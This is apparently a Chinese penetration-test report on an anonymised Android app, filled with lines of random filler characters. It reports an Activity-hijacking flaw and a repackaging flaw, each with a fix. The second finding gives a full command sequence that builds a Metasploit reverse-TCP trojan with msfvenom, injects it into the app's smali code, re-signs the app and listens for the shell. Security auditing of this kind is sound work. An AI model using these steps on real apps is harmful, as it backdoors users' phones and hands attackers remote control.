7 S4 \- C/ o2 o- v8 D$ u, G1 x4 O% C1 Y9 I
) c+ F- u: T7 r9 I7 F
0 y8 y' W* D/ y% T + W2 I# I. F; c' m2 k! n
5 B$ w! \; y* q2 c0 h
- W/ H b, E- f( {+ j8 W9 t1 n; ^2 N, H. @; ]* s6 G5 A
. [; q; I5 E( T/ z. [# [7 O; v+ Z) w# E' } }5 X4 g
# x; l8 _3 b( ]$ [5 C8 [
0 M- K/ {& e5 h. d+ j
表1-2 测试结果 # n- P# y) B7 n& V A N8 r: k
" B" i3 G% ]& K& K& _" c9 y, S
; N( }: b3 H3 d7 h- ^7 \
% o1 L+ ? T7 b* A3 j5 V
4 i# T. r! o& U* [
5 \/ @; O; H, h9 ^* |% x: [, _
$ z5 L& [# v" T3 K2 V. s' B+ D$ _9 G$ @; S) U
1 H2 w% }0 l3 \5 {/ v# V E5 R4 K7 J6 X3 w% W
3 ~0 _# i% j- O( ]& I1 f
( }. x8 P# s2 X- [* L
2 检测结果
3 h# l0 ]8 h7 f c2 f: h8 i6 i# J5 }
5 P/ Y' `( Z( U4 k+ Y# R# b' M2 y5 A) r: |, F+ l* G
5 c: B3 b4 _* ~- g+ ?
9 v+ a4 H8 u# ^* b8 E 2.1 某某某 3 ^6 }4 e0 b' v6 w
+ { Q1 E" h4 y& N
, k! E6 O( Q: Y1 j: z2 W l( m0 C% S1 e! ?# s9 v
8 T6 `. S* s; F# X( l- f9 @; t+ [" D0 i& K
2.1.1检测目标
6 P5 a( X. ?$ w* k" k- |8 B1 N! T3 K* Q) n9 z
2 d: `7 j0 U& R2 J- X6 u3 V
- P! l* S1 f+ i' v! X3 o7 m3 o 4 \4 ~ K% h; {, R
% C1 d) n9 `& D+ l 目标地址: 某某某某某某APP
3 d$ j6 E) @6 X6 _8 l, E1 z. P$ t5 k# r
% _. t9 l& [7 p3 Q) J# y& E* \6 D! h
7 C) i- r- T" m8 u* j; O% ]
: i' G' _ R" _: N
2.1.2检测结果 # j7 H* O4 |2 u0 L1 m# [! q
/ G4 w& s* ?8 M/ z! c
5 ]' z! m" q; y+ ?
7 Z! D( O0 f: h3 c. m+ ]5 z
9 O/ z& |/ Z: v
& z+ s6 j- X, P3 f3 r- ` 2.1.2.1
3 Z3 [2 Q! V" k' q: P" R ]3 E* G# }. n8 v$ |, b+ f2 o3 O2 ~6 [
, }$ a" T5 r$ J2 t" a
' s7 f n% Q, {4 s8 H - D, N' L0 ]$ V8 T P1 k
5 C* ?& v6 A- j4 L% K4 j( T* i+ A
漏洞链接地址:某某某某某某APP
0 v- q5 z b9 e1 T3 I
6 }& q( s. k' F C7 v2 N
' K3 e* z* c' V$ `& R& I
4 v8 O+ F$ ^$ s) K& E8 l8 v
* C, y2 \# T3 j/ ~( w$ O) C: I7 |5 o
* r" [% ~2 [! d& D( q
9 O6 D- y R8 ^
0 ~5 A+ C8 u: \- m8 ^2 l
8 C! ~* ^1 [3 [- O
# B/ R8 ]. [8 s% a8 F* R
/ q4 X3 }+ f# L/ l8 [, a) h 漏洞分析及取证: 6 [+ _8 r+ t& r! [+ G" A, P
6 _6 o1 z# c. z+ r; ^; S9 C+ n/ F% }
/ T( i1 A* f4 U& _( ]
2 l6 D1 b) y. V Z2 |
2 y1 _5 S+ w2 `8 P: _
5 t' a% W- z% e% Y( K5 m 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: / s# {- n3 {% r5 T4 x( u
! w/ D |) I2 p! N! Z, w1 \
2 L3 z2 G/ J; o) P# C; _% r
9 u- w3 \1 m$ y
3 a8 t1 w% \5 W8 Z
h) V- r F( {- w6 G, S
# C1 C( X& i6 O& B) s0 w
2 ?9 O: J q' g5 I3 j8 S0 ]
' L9 ~$ }, ~" E
# q9 I" z- Y1 ^4 n2 s
' S- F" t+ d. f" @$ S- P/ h$ I: }' S3 ~' {3 f; I! t6 g0 H
" ^& N N/ @ Y* L. J7 u
, x9 D; a# e9 J0 M7 M' @
" H7 B5 l, _) D' `
2 J p3 Y( c% y - g x) v& T$ h% n
7 ^# ?0 c7 }" Y) z5 }
3 ?( |# d b& n" G
* n- p+ m+ m8 [. b C5 I0 D# |: ~
' @. C4 `( t& G7 F' n
' N/ D/ Y! _: Y3 g- [9 E l- u T
4 v8 i! R& G5 f* ?; w1 @$ N
8 h1 M t* g$ B& l
7 @" a' P4 O0 F7 d
5 a. v' n/ f, d0 @! b
8 ~ m. w( \3 P3 v3 k p& ]
- B; K+ B. Z# c. B% f0 o1 U 2 U* j3 _4 `" H2 \
, ^$ G b: ~" v8 k/ B6 I% L F
! A! \, \* u4 h0 \/ `
4 m9 H, \7 s, B5 R
. u' o- V7 S/ j) Z
( `4 t% L: X7 z! p. o; k, N9 M. @' u& f
% t% g1 {3 W6 Q) E- @8 s$ t# M8 N- R. ^
漏洞危害:高
% c' _7 S' ~/ p* ~4 v7 I2 n
, c e, M+ d, r0 Y, n! x B3 q
. ^/ s3 H3 E; a6 T
q* _* {) g" y( o8 H . K! D- m& o/ H1 ~, A
6 O0 r4 x. y2 q8 m( X6 ~) s ' f6 K% l9 ]6 r7 l5 T# [
" s! C6 Q Z# X1 N
1 R& `6 Z1 z% a. h) p7 h
/ b# C: F) [+ @9 V4 n; m
: o; m4 K4 ?1 y( Q! y% Z& _3 m. Z
8 v4 @$ Z; Q4 f. @$ n. L2 X
4 ]: t+ f2 f* ^* `2 f$ T% X. j# w' c5 T& g Z
' O ~' c4 x- ~7 I; T
* i0 K$ a- |5 j/ g8 `7 g3 [0 h& J# d: m 严重程度
' A/ f- Q$ z8 Y/ `4 i% q6 w3 C" I8 o; l2 m, K
; P x) @# Q# b: e6 Y) z# S' s
% ]6 c2 O$ c4 d0 j7 ~- v
| * [: z8 d6 A0 Y/ F" Z) G
( }! H9 q9 U2 f, W0 b
* t. o" `+ W9 k# y" S# y$ O7 q* C6 I9 ]
; V' h; A; \6 D0 m2 g% l
2 E- \# V: r3 B 高
! F' m; a# ^% U3 l1 V/ {+ F7 ~+ B$ f, N7 E9 b
( E2 s) g* w6 m2 L, L; x3 } ]/ D8 {" f: |2 z G& {: B
|
. a$ k+ Q7 t4 D9 D. y' \* v; v3 S4 K7 i
G2 u# v& c- N# p# f
# G B1 J) Z6 C1 M3 X, t* Q! d
3 ]6 }/ h& r$ ]* h' F+ e
. J8 P8 j& e4 b+ E; j ■ - N+ d* t( |4 N! L1 P
; ?' G2 x6 H' z4 G4 G
' o! H& u: O3 l& O
+ ]+ b$ g+ C) m4 v1 D | 5 w+ m+ ?6 b" s) z, _5 K
" c4 }( N _! i i& T* m & `" T8 F' F: T' M: S( w- z4 T
& q: {+ e; \& j7 t4 V
, y2 g$ H$ u* `% S. ^# P: m0 B
" H5 |. i! N) T3 E3 e 中 . u) e$ r0 ^4 ~. r$ s
# E m0 P& d3 [" i
- a' X+ ^( ^9 x$ S u
- O9 f0 i8 b; }9 s2 { |
* z, S. u0 G. L
5 x" R2 z! @. k. d. C# Z2 \0 W
' ~7 t; H2 C2 z7 Q* D( _! n, t4 \7 R1 Z- t
' v: H" ~+ B) D) }* r6 Q. P" H0 w$ \- B! k* \/ y$ P2 s7 U/ ?
( N4 E$ r& X Z0 B+ b# R
" m% L# T: M& l/ g4 {! U& |
9 B! j) V: d# B# ^6 E7 G
' |0 u9 P+ T, y2 X |
5 Z# @6 R- W% Z: [' q5 Z- ?& r) D0 ~' T% S( [+ p6 b: O4 ?. U3 I
/ ?/ u& v0 j1 E7 j3 @: {1 s/ X* `
% t1 e) k$ f7 U/ n % }6 D# q. y( d" d* y- G. v0 E
8 i, t' N# s' s( @
低 9 R. L% E6 Y' n
1 U0 v# f0 a2 w8 h5 W
/ C2 f" s2 y: V+ k& y
: e) U' M& |2 N) ^ | + b3 I2 g' q& x% @% a' O1 _
2 Y$ X q, M5 f; n8 L7 E
) Z3 a z% v% h$ ?. g7 p w( W u
+ y8 ^/ {, c ?3 U" Q8 G2 b/ p/ f
. I1 ]- }/ r( |) h# ]" P" g) z/ {7 ~4 g/ j, y
5 B: d( u6 q. E1 j' W9 _7 v/ K5 D \# j$ H& |
9 N! x, [/ A1 k Z4 u, b1 J I
& ]; @+ ^6 x4 F: {8 P |
. V1 n* f" W: ]. e1 p( \; y
! _4 j/ k8 e& Q( |9 G1 y _
' n8 v9 Q) t+ \* Y4 d) t [3 O1 |" F$ k* v) Y3 A
( m) e$ k5 u1 ]! u) t" N1 M0 n& i
9 B" _0 ?2 `- U- d
# s5 w) _! |; X
6 M# `" K1 V: o1 p! E9 x7 }
5 _8 j/ y6 `% y8 K0 F
1 J1 w) ~& d1 x
% A; E3 z: G0 K" I4 B* f; `7 L. h 4 d9 N& g1 u0 i8 N- _; S
" W. C8 ^, {( O) `6 N" U
4 [# _ b) r0 w% H' J+ s1 S! I' S
9 k8 q1 Z# `3 x, |# _; ^
6 O/ ?$ V! c1 K4 W" o7 B4 `
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
8 |& g3 b. \* {% D% `) P1 w/ R, C2 [% c' T- l" g
& _3 u, Y4 F# m1 e7 x4 v
* V6 k- i$ i3 Z) F8 [
! n; E! b a6 e( [' w- s7 E
8 V4 h" ~8 g9 J! P% i/ r1 c L- k: H5 B8 S5 I5 }' ^& m
|! f( f( x8 l' X
4 b! T$ ^( q6 G) @
, v- x1 U7 Z, S( a; O
4 q4 N/ C$ f2 B4 y/ r1 a. B% I) @5 @4 j
$ y: y9 k4 J" e0 u . q2 f* w0 b" ^: }8 d6 k# k- o; n8 G& |
% H, v# w2 [4 a7 M# q: }4 N. r
9 o. [- G M5 n5 _* r$ M% x7 h
6 l( H& P- g$ ?
7 f1 r- ?* ]) C6 Z
) g a( }# M$ K3 t5 e" s/ f 2.1.2.2
2 O$ }( S) x( q T, x5 \0 l5 V3 p, P( t7 N1 V
4 p6 x& E, I! S9 Q1 d8 \
/ H! j( P9 a$ v: z" p" Q6 q
$ n* _& h' y3 @, [$ Y! K$ \- x7 F1 ?: N& @
漏洞链接地址:某某某某某某APP
: v8 D" `+ m2 j' f* K) C# _5 ?$ D- V% B% \
0 w6 t5 f; I8 @9 x3 C2 ?" E
2 o# t3 _; Y' ~
& S) A& T0 }: |4 w( ?3 X# h7 Y! b9 _7 [. Q# m( l0 g+ a
漏洞分析及取证:
+ ^' l+ G- [& q2 k# \7 V5 p- C z: k7 }
; D0 W2 j- s+ v1 I: X4 r; C- g" S$ E3 k: R! L1 G
" x2 v% W/ a3 p. x0 S5 _, r+ P% d1 S3 M, ]4 S
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: " H; `' f; K: v4 c1 o7 B
. Q! s+ H o9 i8 O
7 L$ g& l- Y2 j9 n7 a$ e1 @0 h0 ?9 {) n6 |* W4 E+ b# W% X
( T) Z8 T6 Y6 [: n
% f7 Q8 a. ^4 t5 C A' a8 {& T# T 用Metasploit 生成木马 apk + T8 n" ]' R1 p7 p! q
/ Y! C% ~) ~( w( l8 n, l
8 M; h s' R6 K/ ` L, j: m0 d2 Z: Z \9 N. \4 a6 g3 _; |
& E: ?9 N8 ^8 O3 d0 ?
- o! V6 \" U# ^9 Q/ N9 `0 `$ m msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ) a6 s9 K; r* u4 [: p$ J
) R. |& @0 V0 \9 e' L& N* R
; U4 o1 d* @" [( \# ?
) a; \8 Y( q, ^$ A) S' d
) [3 D0 H/ p2 N5 n% k0 E8 U9 e
5 B& b4 d+ R8 i. R 反编译目标apk和木马apk
: m* D2 t" H5 }- Z' F
: N; U/ C2 ~9 s+ @3 y! R$ o0 Q5 T
Y$ C/ n' _0 f( R$ _8 X9 {2 S( m+ I! R g
) P+ ?2 j; h( Y2 I9 v( V# K5 i
$ ?; p& ]# Z" f. h7 P _$ V
apktool d target.apk
, k" P0 Y' n) z
" O* p$ Z. |+ u1 j$ O
apktool d cockhorse.apk / f4 O2 u9 a( m/ t& _6 Y3 Q
3 @5 `: c' m8 E4 g& q. L+ u7 {! v" W
6 |3 E) B E8 F, E! W( W5 y1 X$ u
8 c# z M% B/ a3 { s3 M8 H
$ Y% ?1 {) Z* B- t* O! b$ s
+ B! i' G! X4 K; q 木马 apk 注入目标 apk $ e1 S$ B" y6 `- B& B
9 B; c/ W! W! v7 ^1 k7 y. ]
& ?% Z- E# y; L$ B u
7 {' k3 j4 h; K1 U1 S- m% u' G
* m1 }' N C- }* U7 Z. D" e T+ h
( s6 A/ p/ x4 l, l7 V9 z! L
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
1 i: n7 h, N! j9 e0 m/ h
, \& R" V. }; G! ^7 I4 P. G+ w invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ) u* U4 A: V0 P* b0 P# Y! R& w
1 m7 K. x& A+ P8 j2 v
3 }- ^, ]5 i5 l" ]) t- K: m7 w# M
# a6 _% y6 r( B6 _; F0 t) l
8 Z9 R O+ T) m* h
, L; P @* b2 i( k& i( s 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 + E2 k9 x9 n7 Z m) a0 F% F
4 W) S3 P; a7 V7 Z. a" S) ]0 x
$ x y9 z% F5 M5 t5 r/ u: o0 x, w; ]- t& r4 b0 h
8 f$ j/ m5 P" a
9 ~! W/ [+ b3 c' |$ G 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
- x0 S7 ]& `7 q
" J7 q/ @4 t8 G0 s. K% `& y( l7 x1 W
2 ^. L( \: ?0 S; X X- Y9 G9 @
( U# A7 H2 w. I: K$ K
& Q0 T+ Z: K: s: w! B I
l) X9 Q8 n+ W! M* c5 b 回编译生成最终 apk / R3 m* p8 h( Q4 K) t$ ~. T
0 w( o9 U8 h: @5 k; P6 g | C" l9 g
% ` o: I2 D: e+ e0 g0 H, x
4 O7 V0 ^9 u1 y. w7 {. @' u
D b. G: A/ R/ M# F. w0 [; ^
: e4 k6 O' u! Y/ x% I6 w. y 重新打包 & o' \; c' G. D% Y# E2 w% c9 K
, F* V, `4 [* `8 c3 v! l
: g' y6 n( ]/ }# l' U$ y6 k1 H$ n5 W, h1 G) ^
, f) ?0 E r" u2 y
; @6 P; c$ I O& O0 C% Z apktool b -o repackage.apk target_app_floder
% `) p k2 ?% _% K: }/ M. n& l" n! z; A, y; C k
4 [* \6 p& j2 \. N3 z1 j0 M! R* x9 C: B. H
$ d, c5 Z, C; C! R6 F
0 |) Q+ b, v: o; r7 [- g
创建签名文件,有的话可忽略此步骤
4 k& v0 B* _6 ?0 Q7 y* `0 p0 p/ p- ?( i$ A' j: r# Z; q$ `
. V9 N2 H2 h, B# Z# T0 r
6 F6 Y1 f: B) J# x u- O1 M. i 5 C8 n, f" n& U: o7 F* b4 d
- _( H% R; |5 I" s keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 0 `/ g, _- {# @! \, D: Y7 U: m( R
+ e& \' Q$ t" {+ p
W8 ]" S$ @1 t8 i8 u' b. ~' r
4 C! K: g3 u7 w% s+ k8 f5 B4 @ 5 i8 o1 c( _ B; a" ]7 U( U0 ?
. E( j: n) I7 M$ r, e9 [6 z 签名,以下任选其一 4 {, ~/ G% Q: \. K! E
: {# d- g$ m: ]8 d0 I
% d! X- k# v5 ]' f$ M' T
! ~. i% O6 G, R
2 f0 a+ K) Y8 K% { J& K
8 m( \$ D/ d7 y+ p& z jarsigner 方式 ) u* `$ s' W( }% Z9 R: t" ]
1 R+ t* f9 ?: c O
+ o6 s3 }1 V; V' d+ b4 b
8 d5 e! p! h L$ | 3 ?/ F% w# \9 F3 J! c1 j$ D
2 [3 X( |- A. _0 f; V3 m) z jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 0 x) K$ F; f3 H4 {& V
% E8 ^; V4 W) I- _) R
( a7 Q+ N9 w2 B( N2 U
$ t. }. _- z* ^0 Q; k, V
1 p; P# |3 e# L' ~+ j x1 ~
( x; A5 _2 z: M& p1 o- A. _1 c) Z apksigner 方式 ) ~6 g! p! L3 _6 n, [
6 v% x9 u! S9 P2 i/ [
& `* v5 w2 ]5 W
0 U8 w" I- ~1 [3 [ A ( @+ e0 s, r/ N5 q
1 _3 ~6 t* f$ I: l: A5 [3 q8 U
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
% e: y: o1 o9 s& H# v8 ~" i3 r, ^2 W, M: r% C: }1 v2 t
, l# U7 x/ H6 o1 [& J5 M7 j& u
* L/ P4 w& g5 u4 k" O/ L! I
/ U9 w5 D) u; i, m6 [: ~* a i4 H3 @4 J% e: r6 K8 c7 c
如需要禁用 v2签名 添加选项--v2-signing-enabled false
1 j8 M, g" J9 [" r8 s* Y; z" M/ W0 W; W/ R
% M) Q/ x! b$ Y, @ M, U; r# ~
4 j' _! Y# U) {6 ^0 x+ m, L 6 ]) Z( @$ ?* I+ ?+ m! v$ M
0 u/ f. n% z" Y3 M( F' X1 w6 W 验证,以下任选其一 2 z' v& ~! I! v# ~; ]% r/ v8 Z! q3 ?
; Y) y: `! S4 `9 b* O# z' G* @4 Z
' K9 i1 s X6 L+ r( A. I8 ^
! _1 x a" P. d. z
: R* A7 u! p4 ^
: a7 O' r7 Q$ I d3 K! Q
jarsigner方式
* Q4 }1 V& v( f/ N$ g- x& z; B
& T) n( v6 [4 j# I+ I$ _( y5 _0 i
/ Q* E$ B( ]8 M- S# b& f: l+ u" B- |2 H4 D0 z$ \* T
0 K3 w! ]7 g9 @4 V1 P8 K
" {$ w4 J* U+ m$ K0 ?% l, N jarsigner -verify repackaged.apk
+ y6 x5 u4 K. ^0 D: E% {9 L! L2 |3 E2 g6 E( y$ C5 X# @ Q
2 k/ s! D# g( C- n0 S
3 c( a5 F0 q6 T
& E4 K( Z1 j- L2 S0 q
/ k% ~ s2 g4 a7 y# X( r& F, ~ apksigner 方式
* C( b1 O- p- J' z) e7 |" h; h4 x7 N& B8 S! X' O
2 X' p7 v3 D' M* @2 {& d. P" E1 T( k7 w0 W, x* R
; m5 T' m! r2 Q4 D6 C0 ~
5 g! d8 \) n- [0 h apksigner verify -v --print-certs repackaged.apk * g% G0 c, p! [6 q& l
4 m6 u2 R0 c; I! H4 i$ D, A% q9 s
$ m) N) Q8 Y9 f4 @, [4 ^9 V V3 j' c+ G, I2 a
- ?. ?0 J, L/ ]/ [9 `$ n2 m
+ k2 B1 U& @& n9 M- S keytool方式 ( t: w! M+ K! f. U' J
& n* z2 F# u# a; M. d, v
3 t4 v0 p8 V6 `; C! I; U% t; z
1 N- ?/ m# J- R) _, \, Y5 C2 s3 b
+ t; I. I' |2 x7 b! K5 N1 B; D2 f8 q
keytool -printcert -jarfile repackaged.apk 3 R8 \) A7 G4 j y+ {$ c) F% A
3 D0 a" O$ Y3 L, C4 H
* l7 u+ A( e9 p# m- _. V( N( v( Y" v8 `+ B0 C0 ?1 U2 |
* j. [- ~% \ c" }& f) c5 u7 P6 x" F# H# x
对齐 , N' P4 Y1 r" ^3 E* E. j
2 ^% j+ s4 Q1 P- Q6 k! w
/ A! F; p! E- Q8 a% K* g
. O1 M- Q, c- t8 O1 W; A3 ^( j
% d V3 I$ ^" {9 C! R- ?; Z, L
" I B4 q/ }3 D$ Y" E& \ 字节对齐优化
" H& R" r' q" m, G, P. v' j
: b5 [% O0 J# o; s: f' M
5 k/ T3 y3 E0 V0 m! ^9 R
/ k: I, V4 }; Q# Z2 h9 d1 C & Z6 D/ |. t+ e5 ]- \, U- Q
# g6 ?! A5 M: `' W6 l+ P% | zipalign -v 4 repackaged.apk final.apk 8 s" Q9 a4 H1 L- w
1 A- Y' \+ ], W6 l1 l9 Z
5 w) h! s5 f/ M) @, e6 |1 F0 t' w
' J6 x# ^3 X) P 6 s2 I5 r$ I" U& Y) w
% c1 }3 i1 H7 c0 v. h' Z" g! }
检查是否对齐 - h0 Y& X8 X7 h9 ?
0 Z0 ]0 \+ N5 K/ v
. j. q" C) G) T1 L% h+ f7 c! N& l+ y; r1 ]1 T- F
! J1 y) f h4 h% B
1 l! _. X" m; v. t zipalign -c -v 4 final.apk 0 P- \: i' o7 [. |8 ~# d
2 Q# H* c6 g" k% G- F) t+ z+ {
6 b/ z- A" z, v1 q# T; j2 R- @) R. }+ q
! \6 @9 Q" e. d) }1 g0 ]
6 J2 \ j6 V `: X0 ]& [ L1 S
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
- e. l+ D; @4 M
" p6 m, ]: T7 n+ Z+ q) m9 o
4 g. } I/ c7 }+ R# d
* T$ H) \ X" H/ O) g5 f
7 h7 Y% ]3 T; L7 A' ?6 C0 N, ~
; a7 M' x) L$ f6 m7 N" t; J 启动Metasploit控制台,配置参数等待上线 7 m0 `2 s$ q# u* q- r0 ]
$ g; ^$ |7 |# i& R
: i. k% ]- `- w& i
6 k; ^0 I: }- @- w 9 ?8 D/ C. O) |; W1 Q
7 T6 C& _0 S/ [; j 在终端依次输入如下命令 * l( Q$ H: g' W1 X$ d: r7 ^
! Q& t# W J" M* [8 ?, N& O& i
2 l" |% |# J5 w% O% I/ f/ ]
+ L: p9 E! X5 {% \8 |
1 v# E+ B" K; [ H3 P4 w
8 |! |. B* m6 \/ a* ^$ e/ Y8 z msfconsole
- V3 `: h6 }! J; |% l7 L$ H$ ^
! R6 D" x& r; S' I) q6 ]) S' i
5 T7 B5 b+ h- R
7 _+ c; ?' M$ q8 J( v1 K; y: H# E
7 W3 R9 U' T5 z; I/ @, z% w3 p, l; ^+ m- a$ f/ t3 B+ R, l
use exploit/multi/handler $ r" N; U# h; r& u$ F/ e- a
$ x, l4 B E @
, \7 f) {' W4 X5 D
- V' e3 A. g$ J% O4 ? ) w, G9 l8 K, m. r" d- W
# }( h) |1 ~9 X( y7 \+ ]* B
set PAYLOAD android/meterpreter/reverse_tcp
$ L. W) w# J, V; o$ `! b
5 a; H+ a+ a1 J" [5 y+ y, P9 k
1 p5 c- S$ O& W
+ m$ l+ k2 R! E& N+ V
8 u2 v9 K* K* Y$ U7 N! Q% l+ ]5 @% Y4 G& D9 {4 e+ \9 V
set LHOST 192.xxx.xx.xx
9 B+ I, J' h8 y7 P: Z2 ~5 D% {2 n3 s; L
# b, N4 Y) y! |" b: _, X S) T% m/ L, f" d0 i5 |- J
( G+ E( Z3 ]* ?/ B) q' t
) R" J4 g# z- N. @
set LPORT 4444
( a7 R7 n" _! ~( q( A) G7 C$ s8 O& ~. c# p+ P' V/ z
8 @. R; _2 V+ C3 D' o6 q
1 l( q" V5 T/ ]% N7 `% q
5 l1 A. {; v5 i5 G; J8 `) W _9 H, G; M) ?1 Z$ O4 R
exploit : ~7 q+ ^/ C) n' ^" t5 z
3 L3 v* s* W0 K; E$ J
- D. J0 E# O2 |- c8 g0 D
C) r6 O( ~9 k8 }2 s
3 t% ? A2 o+ A7 \/ o, x
J1 [, Z! c$ J4 |) l' T 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
1 T* n2 E0 d5 t4 t
% Y! F) ]+ Y" ^
) F# m+ X0 X5 E0 T H- q" l! G/ Y9 M4 k
; x- k4 z1 M. e! U % z4 Q- `7 A) m0 c
2 z3 i9 a$ ^: a4 l7 ?! ]+ \
漏洞危害:中 & A s y' Z1 w$ M
0 Q' w* n) C6 O- j& V, D6 c
" g( t4 l7 D6 t: g& F: C
6 _% d) }. `! S6 n1 Y
3 {0 b$ q" d: k- K# [' u% H8 e+ V0 w6 N, |& C8 J
( T- [ N* q! p T. B, l
; h" K$ N& M# |0 T1 P1 L+ R, c5 Q4 ]/ X ! G* ^" B* |, l* r" ]& {" l
( c- `, @, g0 G# }9 q3 \
0 ]& j) V& q2 \& G
# E& |3 u# n' A+ K) H , s3 P% K% R, \
i& G/ q0 [+ w, ]
& {' M# K6 t% v/ W' N+ b
5 E2 Z: l3 |6 Q3 K$ M
6 |3 z; W5 K. W, N( n$ q1 @
5 C: b, h( u( |1 D5 q& T* [ 严重程度 : }7 [/ n8 E, ~- [' d2 i' d& u6 l4 c
/ _+ E% R6 @: t: t6 ^! c, p9 ]* ?
6 |( P; H1 y) o9 J
! ?- _5 w# x% e+ V* M |
1 u0 N ?) D& p B. Y; D0 c4 _
$ `. l# O, ]7 x) y P3 u / J2 O: b6 y' A4 U3 @; e4 x
& @9 G2 [8 ~7 g2 O1 q) g7 e 0 e& Y- W) ?6 {/ M) y9 @2 D
6 y- \! [( x+ i. Z' ?. U
高 # U+ ^4 [9 y- u7 r$ q* {
( G- s+ x: k; t ^/ A
# y6 U0 X& y( @5 z
9 n! ^: E# \1 W | & z. G1 ?/ A. I" t7 U9 s M6 [* F
7 }3 r' D- a; A% r, V( Y " f% F# s( w4 Z" T4 d) h
+ { ^& o& ?7 O/ }2 d7 u I- C/ r 2 U+ Y1 Z: |: P, \* ~- J% M5 t$ V
% k8 E3 @; _' Z+ A i- b& C1 t* J
■ 6 E/ m- e3 W! O. E5 O/ E, u) F% x
! x% l e2 g4 f% M " J9 y4 b- j' K) m
: h& m1 k$ ]; Y9 B: R
| & w8 Z+ _3 Q* J: Y; q
/ K, t2 d5 J5 S# S9 ^6 m3 n! v3 P
( d' u5 T' @( Z
- @- N$ x* | S* Y) W* K + G% p n/ N. F" | A. d
, P* b* l+ \4 O 中
6 `- Y/ E0 E! Y# y' z5 @# w1 Q6 M* d& w* B
1 X) l5 t: z$ g4 x) @. T0 a2 m6 D5 n- |' r! m. F2 L
| + ~, F9 l! K1 X' N
, [; W, V Q) Q8 R" f! L. j1 \
3 ~( b) g5 e# ~. z+ }* a9 G1 U4 q% m% q4 u: f F. ~' q& V3 U
2 }# y& n9 n/ T
+ U& B1 D8 p H
3 W% v2 s3 S+ ]4 i; `1 u, d
* s+ o, l& G' r4 E
" d2 r9 r: i) @9 y2 `7 j/ r+ E" l7 m* Z7 u5 ~ B/ O! }
+ I% Y0 B5 K+ V) W+ f0 j
# f0 L% J& J( e+ D( Z
| 3 \1 q8 n5 n2 g8 W. S" n
Z) E. |& N# v6 }
8 ~9 a! g. \, p
# l+ X4 p+ \6 l" G* l
1 o" T4 y3 z2 A0 J
$ c5 h2 l& Q( z0 w 低
0 Q) ^' y+ M3 l* \# Q7 n$ M% O! z/ S7 ]0 l
/ h- |2 @$ C, k, H, ^
' z, G3 I% ^) \: ^$ d |
4 Q6 y8 c n3 N2 u& E( @# i! T% ?: u; _ ~6 \
' |6 a+ _( B( {" n/ F; N
, ^- B7 m7 u$ Z, F7 [
/ L( N: f) O/ U& A0 c8 a
# y! o- X5 ]9 B8 p6 `; t0 j 4 t& |$ O: ?' G5 S6 [* |
l' e* a5 r9 v" {; h( z1 K
4 s) Y) Y8 L+ j* f& y$ W; U0 F
/ d5 L9 v4 c. T" e . k/ I7 B. \! y/ _! J0 h
/ o: C3 q9 R0 i7 s4 d | v' N9 l, f r8 \1 t, _ m
* D) {2 ~* \ |/ S! @# Q" X7 z
! _; V7 E0 U8 b0 ~5 M3 F
. a; J9 }5 X5 T
! K6 ^ s5 u% v1 H* L
6 O( T2 q. t9 ?) I
4 w& S$ v w( i6 m
: a& r* i# M% ?* e$ m9 m. V
" i, W8 V+ X8 `) T& X4 R
% n- T, k. p; O, H. p
, G& q3 k) L: b, V7 Z
" k( D6 c6 q/ a. | / e4 ^( l4 g0 x, Z
! s5 h& Z2 h5 N2 i' P
0 d5 i5 D6 L; O: U1 a; U; b* a+ ?! t
3 V% A: ^% b V& `, Z: M
. a/ }! R$ H/ A9 ~7 |9 y
& M3 q+ x. q$ J0 C 修复方法:
4 t9 P! g4 b4 v' I5 O5 u: t/ {* }1 W$ F8 N
5 T. H9 t: ]9 O9 P) d( }, J5 i( c8 d. C
1 k8 _1 l1 u ^$ P+ z8 {+ \
: }- D! T) O) f5 \. B8 \' a 1.在 APP 启动时应做签名校验防止二次打包。
# B' j# A. n% k, ~7 z. A' _! e# a7 z
+ I& g$ ~% L+ V5 g. W8 s5 A 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 % \# T. p( M7 D
( T6 d' C5 U& K" @$ W: m
) g+ `' |+ e; x
/ m) q- _; `9 {: |/ q: Q e8 J
; Q( l1 r9 V9 q* Q1 o/ x6 x
& h% U, o ?& ?7 V1 P p- V: h
$ |6 A. z9 d1 x2 G. q
" S ]& `* Z6 E
* Y# H j9 c* w) y' G1 q" `8 U8 E( d$ f" k2 S ^" L" ^
: r- a' t. ]* e
# s# n1 F8 ]4 U8 L8 |3 L
% w n# A2 h; V6 {$ `7 M, p
, q" J- T, i. p- r* s- A# n 8 g6 b6 `7 f. ~8 g8 ^5 U4 S
9 f- ?/ l: w5 X. k! @! l" z2 n
( N( F: B v" x7 H/ o4 ^% `9 n6 Q
' v* q$ h( d8 V* ~% e+ v5 J* z7 Q
2 A- r2 p( D7 O% f+ V ]8 ?# G1 Z3 p( T8 k" V9 x4 p& o